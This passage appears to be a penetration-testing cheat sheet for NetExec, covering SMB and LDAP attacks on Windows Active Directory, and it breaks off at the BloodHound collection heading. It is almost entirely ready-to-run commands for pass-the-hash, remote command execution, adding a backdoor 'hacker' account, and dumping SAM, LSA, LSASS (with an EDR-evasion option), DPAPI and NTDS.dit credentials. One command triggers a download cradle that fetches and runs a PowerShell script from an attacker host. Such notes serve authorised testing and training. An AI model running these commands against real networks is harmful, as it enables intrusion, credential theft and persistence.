> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.
# NetExec (nxc)
NetExec is the actively maintained successor to CrackMapExec. It speaks SMB, LDAP, WinRM, MSSQL, SSH, RDP, FTP, and more: use it for credential validation, enumeration, lateral movement, and post-exploitation across an entire subnet in one command.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Install / update
pipx install netexec
pipx upgrade netexec
# List all available modules for a protocol
nxc smb -L
nxc ldap -L
# Get options for a specific module
nxc smb -M lsassy --options
```
## SMB
SMB is the primary protocol for Windows enumeration and lateral movement. Start unauthenticated to see what's exposed, then escalate to authenticated enumeration once you have credentials.
### Host Discovery
Sweep a subnet to find live Windows hosts and identify domain membership, OS version, and SMB signing status.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $SUBNET # discover all SMB hosts on subnet
nxc smb $SUBNET --gen-relay-list relay.txt # output hosts with signing disabled (relay targets)
nxc smb targets.txt # read targets from file
```
### Null and Guest Sessions
Test for unauthenticated access before using credentials: null sessions often expose user lists and share names.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u '' -p '' # null session
nxc smb $IP -u 'guest' -p '' # guest account (often enabled)
nxc smb $IP -u '' -p '' --shares # enumerate shares via null session
nxc smb $IP -u '' -p '' --users # list users via null session
nxc smb $IP -u '' -p '' --pass-pol # dump password policy (check lockout threshold)
```
### Credential Validation
A `(+)` or `[+]` in the output means the credential is valid. `Pwn3d!` means you have admin rights on that host.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -p $PASSWORD # basic auth check
nxc smb $IP -u $USER -p $PASSWORD --local-auth # auth against local SAM (not domain)
nxc smb $IP -u $USER -H $HASH # pass-the-hash
nxc smb $IP -u $USER -H $HASH --local-auth # PTH against local account
nxc smb $IP -u $USER --use-kcache # use active Kerberos ticket (KRB5CCNAME must be set)
nxc smb $IP -u $USER -p $PASSWORD -d $DOMAIN # specify domain explicitly
nxc smb $IP -u $USER -p $PASSWORD --kdcHost $DC_HOST # specify KDC for Kerberos
```
### Share Enumeration
List all shares and their access level: look for non-default shares like `backup`, `data`, `scripts`, `IT`.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -p $PASSWORD --shares # list shares + read/write access
nxc smb $IP -u $USER -p $PASSWORD --disks # list local disks on the target
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -H $NTHASH --shares # list shares + read/write access
nxc smb $IP -u $USER -H $NTHASH --disks # list local disks on the target
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER --use-kcache --shares # list shares + read/write access
nxc smb $IP -u $USER --use-kcache --disks # list local disks on the target
```
### Share Spidering
Recursively enumerate file contents across all shares: outputs a JSON map of every readable file path.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -p $PASSWORD -M spider_plus # spider all readable shares
nxc smb $IP -u $USER -p $PASSWORD -M spider_plus -o SHARE=Data # spider specific share
nxc smb $IP -u $USER -p $PASSWORD -M spider_plus -o READ_ONLY=false # also download files
nxc smb $IP -u $USER -p $PASSWORD -M spider_plus -o EXCLUDE_EXTS=exe,dll # skip binary files
nxc smb $IP -u $USER -p $PASSWORD -M spider_plus -o PATTERN=password # flag files matching pattern
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -H $NTHASH -M spider_plus # spider all readable shares
nxc smb $IP -u $USER -H $NTHASH -M spider_plus -o SHARE=Data # spider specific share
nxc smb $IP -u $USER -H $NTHASH -M spider_plus -o READ_ONLY=false # also download files
nxc smb $IP -u $USER -H $NTHASH -M spider_plus -o EXCLUDE_EXTS=exe,dll # skip binary files
nxc smb $IP -u $USER -H $NTHASH -M spider_plus -o PATTERN=password # flag files matching pattern
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER --use-kcache -M spider_plus # spider all readable shares
nxc smb $IP -u $USER --use-kcache -M spider_plus -o SHARE=Data # spider specific share
nxc smb $IP -u $USER --use-kcache -M spider_plus -o READ_ONLY=false # also download files
nxc smb $IP -u $USER --use-kcache -M spider_plus -o EXCLUDE_EXTS=exe,dll # skip binary files
nxc smb $IP -u $USER --use-kcache -M spider_plus -o PATTERN=password # flag files matching pattern
```
### File Operations
Download or upload files directly over SMB without a separate tool.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -p $PASSWORD --get-file '\\share\path\file.txt' ./local_file.txt # download
nxc smb $IP -u $USER -p $PASSWORD --put-file ./local.txt '\\share\path\remote.txt' # upload
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -H $NTHASH --get-file '\\share\path\file.txt' ./local_file.txt # download
nxc smb $IP -u $USER -H $NTHASH --put-file ./local.txt '\\share\path\remote.txt' # upload
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER --use-kcache --get-file '\\share\path\file.txt' ./local_file.txt # download
nxc smb $IP -u $USER --use-kcache --put-file ./local.txt '\\share\path\remote.txt' # upload
```
### User and Group Enumeration
Pull users, groups, logged-on sessions, and local admins from the target.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -p $PASSWORD --users # list domain users (via SAM/SAMR)
nxc smb $IP -u $USER -p $PASSWORD --groups # list domain groups
nxc smb $IP -u $USER -p $PASSWORD --local-groups # list local groups on target
nxc smb $IP -u $USER -p $PASSWORD --loggedon-users # show currently logged-on users
nxc smb $IP -u $USER -p $PASSWORD --sessions # show active SMB sessions
nxc smb $IP -u $USER -p $PASSWORD --pass-pol # dump domain password policy
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -H $NTHASH --users # list domain users (via SAM/SAMR)
nxc smb $IP -u $USER -H $NTHASH --groups # list domain groups
nxc smb $IP -u $USER -H $NTHASH --local-groups # list local groups on target
nxc smb $IP -u $USER -H $NTHASH --loggedon-users # show currently logged-on users
nxc smb $IP -u $USER -H $NTHASH --sessions # show active SMB sessions
nxc smb $IP -u $USER -H $NTHASH --pass-pol # dump domain password policy
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER --use-kcache --users # list domain users (via SAM/SAMR)
nxc smb $IP -u $USER --use-kcache --groups # list domain groups
nxc smb $IP -u $USER --use-kcache --local-groups # list local groups on target
nxc smb $IP -u $USER --use-kcache --loggedon-users # show currently logged-on users
nxc smb $IP -u $USER --use-kcache --sessions # show active SMB sessions
nxc smb $IP -u $USER --use-kcache --pass-pol # dump domain password policy
```
### RID Brute Force
Enumerate accounts by brute-forcing RIDs over SAMR: works even when `--users` is restricted, and finds local accounts too.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u '' -p '' --rid-brute # attempt via null session
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -p $PASSWORD --rid-brute # brute RIDs 500-4000 (default)
nxc smb $IP -u $USER -p $PASSWORD --rid-brute 10000 # brute RIDs up to 10000
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -H $NTHASH --rid-brute # brute RIDs 500-4000 (default)
nxc smb $IP -u $USER -H $NTHASH --rid-brute 10000 # brute RIDs up to 10000
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER --use-kcache --rid-brute # brute RIDs 500-4000 (default)
nxc smb $IP -u $USER --use-kcache --rid-brute 10000 # brute RIDs up to 10000
```
### Command Execution
Run commands on the remote host: `-x` uses cmd.exe, `-X` uses PowerShell. Requires admin rights.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -p $PASSWORD -x 'whoami /all' # cmd.exe execution
nxc smb $IP -u $USER -p $PASSWORD -X 'Get-Process' # PowerShell execution
nxc smb $IP -u $USER -p $PASSWORD -x 'whoami' --exec-method wmiexec # use WMI (no service creation)
nxc smb $IP -u $USER -p $PASSWORD -x 'whoami' --exec-method mmcexec # use MMC (stealthy)
nxc smb $IP -u $USER -p $PASSWORD -x 'whoami' --exec-method smbexec # use SMB pipe (no binary)
nxc smb $IP -u $USER -p $PASSWORD -x 'whoami' --exec-method atexec # use task scheduler
nxc smb $IP -u $USER -p $PASSWORD --no-output -x 'net user hacker Pass123! /add' # suppress output
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -H $NTHASH -x 'whoami /all' # cmd.exe execution
nxc smb $IP -u $USER -H $NTHASH -X 'Get-Process' # PowerShell execution
nxc smb $IP -u $USER -H $NTHASH -x 'whoami' --exec-method wmiexec # use WMI (no service creation)
nxc smb $IP -u $USER -H $NTHASH -x 'whoami' --exec-method mmcexec # use MMC (stealthy)
nxc smb $IP -u $USER -H $NTHASH -x 'whoami' --exec-method smbexec # use SMB pipe (no binary)
nxc smb $IP -u $USER -H $NTHASH -x 'whoami' --exec-method atexec # use task scheduler
nxc smb $IP -u $USER -H $NTHASH --no-output -x 'net user hacker Pass123! /add' # suppress output
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER --use-kcache -x 'whoami /all' # cmd.exe execution
nxc smb $IP -u $USER --use-kcache -X 'Get-Process' # PowerShell execution
nxc smb $IP -u $USER --use-kcache -x 'whoami' --exec-method wmiexec # use WMI (no service creation)
nxc smb $IP -u $USER --use-kcache -x 'whoami' --exec-method mmcexec # use MMC (stealthy)
nxc smb $IP -u $USER --use-kcache -x 'whoami' --exec-method smbexec # use SMB pipe (no binary)
nxc smb $IP -u $USER --use-kcache -x 'whoami' --exec-method atexec # use task scheduler
nxc smb $IP -u $USER --use-kcache --no-output -x 'net user hacker Pass123! /add' # suppress output
```
### Credential Dumping
Dump credential stores from the target: all require admin rights. Prefer `lsassy` over `--sam` when possible as it handles protections better.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# SAM database (local account hashes)
nxc smb $IP -u $USER -p $PASSWORD --sam
# LSA secrets (service account creds, DPAPI keys, cached domain hashes)
nxc smb $IP -u $USER -p $PASSWORD --lsa
# LSASS via lsassy module (handles multiple dump methods automatically)
nxc smb $IP -u $USER -p $PASSWORD -M lsassy
nxc smb $IP -u $USER -p $PASSWORD -M lsassy -o METHOD=comsvcs # use comsvcs.dll
nxc smb $IP -u $USER -p $PASSWORD -M lsassy -o METHOD=procdump # use procdump.exe (upload required)
nxc smb $IP -u $USER -p $PASSWORD -M lsassy -o METHOD=nanodump # use nanodump (EDR evasion)
# DPAPI secrets (browser saved passwords, credential manager)
nxc smb $IP -u $USER -p $PASSWORD -M dpapi # dump all DPAPI secrets
nxc smb $IP -u $USER -p $PASSWORD -M dpapi -o MKFILE=masterkeys.txt # use pre-dumped masterkeys
# NTDS.dit via ntdsutil (DC only: uses IFM to extract)
nxc smb $DC_IP -u $USER -p $PASSWORD -M ntdsutil
# Backup Operator privilege abuse (dump SAM/SYSTEM/SECURITY via backup rights)
nxc smb $DC_IP -u $USER -p $PASSWORD -M backup_operator
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# SAM database (local account hashes)
nxc smb $IP -u $USER -H $NTHASH --sam
# LSA secrets (service account creds, DPAPI keys, cached domain hashes)
nxc smb $IP -u $USER -H $NTHASH --lsa
# LSASS via lsassy module (handles multiple dump methods automatically)
nxc smb $IP -u $USER -H $NTHASH -M lsassy
nxc smb $IP -u $USER -H $NTHASH -M lsassy -o METHOD=comsvcs # use comsvcs.dll
nxc smb $IP -u $USER -H $NTHASH -M lsassy -o METHOD=procdump # use procdump.exe (upload required)
nxc smb $IP -u $USER -H $NTHASH -M lsassy -o METHOD=nanodump # use nanodump (EDR evasion)
# DPAPI secrets (browser saved passwords, credential manager)
nxc smb $IP -u $USER -H $NTHASH -M dpapi # dump all DPAPI secrets
nxc smb $IP -u $USER -H $NTHASH -M dpapi -o MKFILE=masterkeys.txt # use pre-dumped masterkeys
# NTDS.dit via ntdsutil (DC only: uses IFM to extract)
nxc smb $DC_IP -u $USER -H $NTHASH -M ntdsutil
# Backup Operator privilege abuse (dump SAM/SYSTEM/SECURITY via backup rights)
nxc smb $DC_IP -u $USER -H $NTHASH -M backup_operator
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# SAM database (local account hashes)
nxc smb $IP -u $USER --use-kcache --sam
# LSA secrets (service account creds, DPAPI keys, cached domain hashes)
nxc smb $IP -u $USER --use-kcache --lsa
# LSASS via lsassy module (handles multiple dump methods automatically)
nxc smb $IP -u $USER --use-kcache -M lsassy
nxc smb $IP -u $USER --use-kcache -M lsassy -o METHOD=comsvcs # use comsvcs.dll
nxc smb $IP -u $USER --use-kcache -M lsassy -o METHOD=procdump # use procdump.exe (upload required)
nxc smb $IP -u $USER --use-kcache -M lsassy -o METHOD=nanodump # use nanodump (EDR evasion)
# DPAPI secrets (browser saved passwords, credential manager)
nxc smb $IP -u $USER --use-kcache -M dpapi # dump all DPAPI secrets
nxc smb $IP -u $USER --use-kcache -M dpapi -o MKFILE=masterkeys.txt # use pre-dumped masterkeys
# NTDS.dit via ntdsutil (DC only: uses IFM to extract)
nxc smb $DC_IP -u $USER --use-kcache -M ntdsutil
# Backup Operator privilege abuse (dump SAM/SYSTEM/SECURITY via backup rights)
nxc smb $DC_IP -u $USER --use-kcache -M backup_operator
```
### Host Information
Pull system info and generate a hosts file for internal network mapping.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -p $PASSWORD --generate-hosts-file hosts.txt # write /etc/hosts-format file
nxc smb $SUBNET -u $USER -p $PASSWORD --generate-hosts-file internal_hosts.txt
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -H $NTHASH --generate-hosts-file hosts.txt # write /etc/hosts-format file
nxc smb $SUBNET -u $USER -H $NTHASH --generate-hosts-file internal_hosts.txt
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER --use-kcache --generate-hosts-file hosts.txt # write /etc/hosts-format file
nxc smb $SUBNET -u $USER --use-kcache --generate-hosts-file internal_hosts.txt
```
### Password Change
Change passwords via SMB: useful for self-service changes or when you have ForceChangePassword on another account.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Change your own password (knows current)
nxc smb $IP -u $USER -p $PASSWORD -M change-password -o NEWPASS='NewPass123!'
# Force change another user's password (requires ForceChangePassword ACE)
nxc smb $IP -u $USER -p $PASSWORD -M change-password -o USER=$TARGET NEWPASS='NewPass123!'
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Change own password using hash (PTH self-service)
nxc smb $IP -u $USER -H $NTHASH -M change-password -o NEWPASS='NewPass123!'
# Force change using hash
nxc smb $IP -u $USER -H $NTHASH -M change-password -o USER=$TARGET NEWPASS='NewPass123!'
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Change your own password via Kerberos ticket
nxc smb $IP -u $USER --use-kcache -M change-password -o NEWPASS='NewPass123!'
# Force change another user's password (requires ForceChangePassword ACE)
nxc smb $IP -u $USER --use-kcache -M change-password -o USER=$TARGET NEWPASS='NewPass123!'
```
### Miscellaneous SMB Modules
Additional recon and abuse modules useful during post-exploitation.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -p $PASSWORD -M wdigest -o ACTION=enable # enable WDigest (plaintext in LSASS)
nxc smb $IP -u $USER -p $PASSWORD -M wdigest -o ACTION=disable # disable WDigest
nxc smb $IP -u $USER -p $PASSWORD -M web_delivery -o URL=http://$LHOST/shell.ps1 # trigger download cradle
nxc smb $IP -u $USER -p $PASSWORD -M empire_exec -o LISTENER=http AGENT= # Empire exec
nxc smb $IP -u $USER -p $PASSWORD -M coerce_plus # test coercion methods (printerbug, petitpotam, etc.)
nxc smb $IP -u $USER -p $PASSWORD -M runasppl # check RunAsPPL (LSASS protection)
nxc smb $IP -u $USER -p $PASSWORD -M uac # check UAC configuration
nxc smb $IP -u $USER -p $PASSWORD -M rdp -o ACTION=enable # enable RDP
nxc smb $IP -u $USER -p $PASSWORD -M rdp -o ACTION=disable # disable RDP
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER -H $NTHASH -M wdigest -o ACTION=enable # enable WDigest (plaintext in LSASS)
nxc smb $IP -u $USER -H $NTHASH -M wdigest -o ACTION=disable # disable WDigest
nxc smb $IP -u $USER -H $NTHASH -M web_delivery -o URL=http://$LHOST/shell.ps1 # trigger download cradle
nxc smb $IP -u $USER -H $NTHASH -M empire_exec -o LISTENER=http AGENT= # Empire exec
nxc smb $IP -u $USER -H $NTHASH -M coerce_plus # test coercion methods (printerbug, petitpotam, etc.)
nxc smb $IP -u $USER -H $NTHASH -M runasppl # check RunAsPPL (LSASS protection)
nxc smb $IP -u $USER -H $NTHASH -M uac # check UAC configuration
nxc smb $IP -u $USER -H $NTHASH -M rdp -o ACTION=enable # enable RDP
nxc smb $IP -u $USER -H $NTHASH -M rdp -o ACTION=disable # disable RDP
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $IP -u $USER --use-kcache -M wdigest -o ACTION=enable # enable WDigest (plaintext in LSASS)
nxc smb $IP -u $USER --use-kcache -M wdigest -o ACTION=disable # disable WDigest
nxc smb $IP -u $USER --use-kcache -M web_delivery -o URL=http://$LHOST/shell.ps1 # trigger download cradle
nxc smb $IP -u $USER --use-kcache -M empire_exec -o LISTENER=http AGENT= # Empire exec
nxc smb $IP -u $USER --use-kcache -M coerce_plus # test coercion methods (printerbug, petitpotam, etc.)
nxc smb $IP -u $USER --use-kcache -M runasppl # check RunAsPPL (LSASS protection)
nxc smb $IP -u $USER --use-kcache -M uac # check UAC configuration
nxc smb $IP -u $USER --use-kcache -M rdp -o ACTION=enable # enable RDP
nxc smb $IP -u $USER --use-kcache -M rdp -o ACTION=disable # disable RDP
```
## LDAP
LDAP is the primary channel for querying Active Directory. Use it for targeted attribute enumeration, BloodHound collection, and Kerberos-based attacks.
### Credential Validation
Validate domain credentials against the DC via LDAP: lighter than SMB and works even when SMB is firewalled. Always include `-d ` and `--dns-server ` so nxc can resolve AD hostnames correctly; without them BloodHound collection and many enumeration modules will fail silently or return incomplete results.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP # basic LDAP auth check
nxc ldap $DC_IP -u $USER -H $HASH -d $DOMAIN --dns-server $DC_IP # PTH via LDAP
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP # use Kerberos ticket
```
### User Enumeration
Pull user accounts and attributes directly from the directory.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --users # list all domain users
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --users --no-sort # preserve LDAP order
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --groups # list all domain groups
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --computers # list all computer accounts
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --admin-count # find accounts with adminCount=1
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --password-not-required # find accounts with PASSWD_NOTREQD flag
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --trusted-for-delegation # find unconstrained delegation accounts
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --subnets # list AD subnets
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --users # list all domain users
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --users --no-sort # preserve LDAP order
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --groups # list all domain groups
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --computers # list all computer accounts
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --admin-count # find accounts with adminCount=1
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --password-not-required # find accounts with PASSWD_NOTREQD flag
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --trusted-for-delegation # find unconstrained delegation accounts
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --subnets # list AD subnets
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --users # list all domain users
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --users --no-sort # preserve LDAP order
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --groups # list all domain groups
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --computers # list all computer accounts
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --admin-count # find accounts with adminCount=1
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --password-not-required # find accounts with PASSWD_NOTREQD flag
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --trusted-for-delegation # find unconstrained delegation accounts
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --subnets # list AD subnets
```
### Description Field Mining
The `get-desc-users` module reads every user's Description field: admins commonly store passwords there as "notes".
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M get-desc-users # dump all account Description fields
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M get-desc-users -o KEYWORDS=pass,pwd,cred # filter by keyword
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M get-desc-users # dump all account Description fields
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M get-desc-users -o KEYWORDS=pass,pwd,cred # filter by keyword
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M get-desc-users # dump all account Description fields
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M get-desc-users -o KEYWORDS=pass,pwd,cred # filter by keyword
```
### Custom LDAP Queries
Run arbitrary LDAP filters to extract any attribute from any object class.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Full attribute dump for matching objects
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --query "(sAMAccountType=805306368)" "*"
# Selected attributes only
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --query "(sAMAccountType=805306368)" "sAMAccountName,description,memberOf"
# Accounts with SPN set (Kerberoastable)
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --query "(&(sAMAccountType=805306368)(servicePrincipalName=*))" "sAMAccountName,servicePrincipalName"
# Accounts with pre-auth disabled (AS-REP roastable)
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --query "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" "sAMAccountName"
# Accounts with PASSWD_NOTREQD
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --query "(userAccountControl:1.2.840.113556.1.4.803:=32)" "sAMAccountName"
# Computers with unconstrained delegation (excluding DCs)
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --query "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))" "name,dNSHostName"
# Find dMSA objects (Windows Server 2025 BadSuccessor)
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --query "(objectClass=msDS-DelegatedManagedServiceAccount)" "name,msDS-ManagedAccountPrecededByLink"
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Full attribute dump for matching objects
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --query "(sAMAccountType=805306368)" "*"
# Selected attributes only
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --query "(sAMAccountType=805306368)" "sAMAccountName,description,memberOf"
# Accounts with SPN set (Kerberoastable)
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --query "(&(sAMAccountType=805306368)(servicePrincipalName=*))" "sAMAccountName,servicePrincipalName"
# Accounts with pre-auth disabled (AS-REP roastable)
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --query "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" "sAMAccountName"
# Accounts with PASSWD_NOTREQD
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --query "(userAccountControl:1.2.840.113556.1.4.803:=32)" "sAMAccountName"
# Computers with unconstrained delegation (excluding DCs)
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --query "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))" "name,dNSHostName"
# Find dMSA objects (Windows Server 2025 BadSuccessor)
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --query "(objectClass=msDS-DelegatedManagedServiceAccount)" "name,msDS-ManagedAccountPrecededByLink"
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Full attribute dump for matching objects
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --query "(sAMAccountType=805306368)" "*"
# Selected attributes only
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --query "(sAMAccountType=805306368)" "sAMAccountName,description,memberOf"
# Accounts with SPN set (Kerberoastable)
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --query "(&(sAMAccountType=805306368)(servicePrincipalName=*))" "sAMAccountName,servicePrincipalName"
# Accounts with pre-auth disabled (AS-REP roastable)
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --query "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" "sAMAccountName"
# Accounts with PASSWD_NOTREQD
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --query "(userAccountControl:1.2.840.113556.1.4.803:=32)" "sAMAccountName"
# Computers with unconstrained delegation (excluding DCs)
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --query "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))" "name,dNSHostName"
# Find dMSA objects (Windows Server 2025 BadSuccessor)
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --query "(objectClass=msDS-DelegatedManagedServiceAccount)" "name,msDS-ManagedAccountPrecededByLink"
```
### Group Membership
Check which groups a specific user belongs to: useful for understanding what access a compromised account has.
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M groupmembership -o USER=$TARGET # list groups for user
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M groupmembership -o GROUP="Domain Admins" # list members of group
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M groupmembership -o USER=$TARGET # list groups for user
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP -M groupmembership -o GROUP="Domain Admins" # list members of group
```
```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M groupmembership -o USER=$TARGET # list groups for user
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP -M groupmembership -o GROUP="Domain Admins" # list members of group
```
### BloodHound Collection
Collect all AD relationship data in BloodHound format: import the zip into BloodHound CE for graph analysis. The `-d` and `--dns-server` flags are required for name resolution; without them computer object resolution fails and the graph will be missing edges.
